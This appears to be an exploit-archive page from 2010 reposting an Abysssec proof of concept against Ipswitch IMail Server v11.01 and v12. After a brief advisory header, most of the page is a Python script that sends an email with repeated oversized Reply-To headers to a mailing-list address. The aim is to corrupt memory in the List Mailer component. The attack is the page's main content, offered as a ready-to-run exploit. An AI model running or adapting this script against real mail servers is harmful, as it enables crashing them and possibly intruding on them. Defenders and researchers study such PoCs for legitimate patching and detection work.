Ipswitch Imail Server List Mailer Reply-To Address Memory Co
Posted on 15 September 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================================== Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption ==================================================================== Title : Ipswitch Imail Server List Mailer Reply-To Address memory corruption Version : Imail server v11.01 and 12 Analysis : http://www.abysssec.com Vendor : http://www.ipswitch.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec ''' import smtplib sender = 'from@fromdomain.com' receivers = ['CrashList@wapteam-f556693'] message = """From: From Person <from@fromdomain.com> To: To Person <CrashList@wapteam-f556693> """ #ReplayCount = 5 #while ReplayCount>0: # message = message + "Reply-To:" counter = 3 while counter>0: # if counter != 50000 : # message = message + "," #message = message + "Reply-To: <someone"+str(counter)+"@example.org>" message = message + "Reply-To: "+("A"*200)+"a"*4+"B"*196+"@exam.com" counter = counter - 1 message = message + " " # ReplayCount = ReplayCount - 1 #message = message + " " message = message + """ Subject: SMTP e-mail test This is a test e-mail message. """ #print message #fp = open("C:\Program Files\Ipswitch\IMail\spool\tmp188.tmp","w") #fp.write(message) #fp.close() #print "wrote" try: smtpObj = smtplib.SMTP('localhost') smtpObj.sendmail(sender, receivers, message) print "Successfully sent email" except SMTPException: print "Error: unable to send email" # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>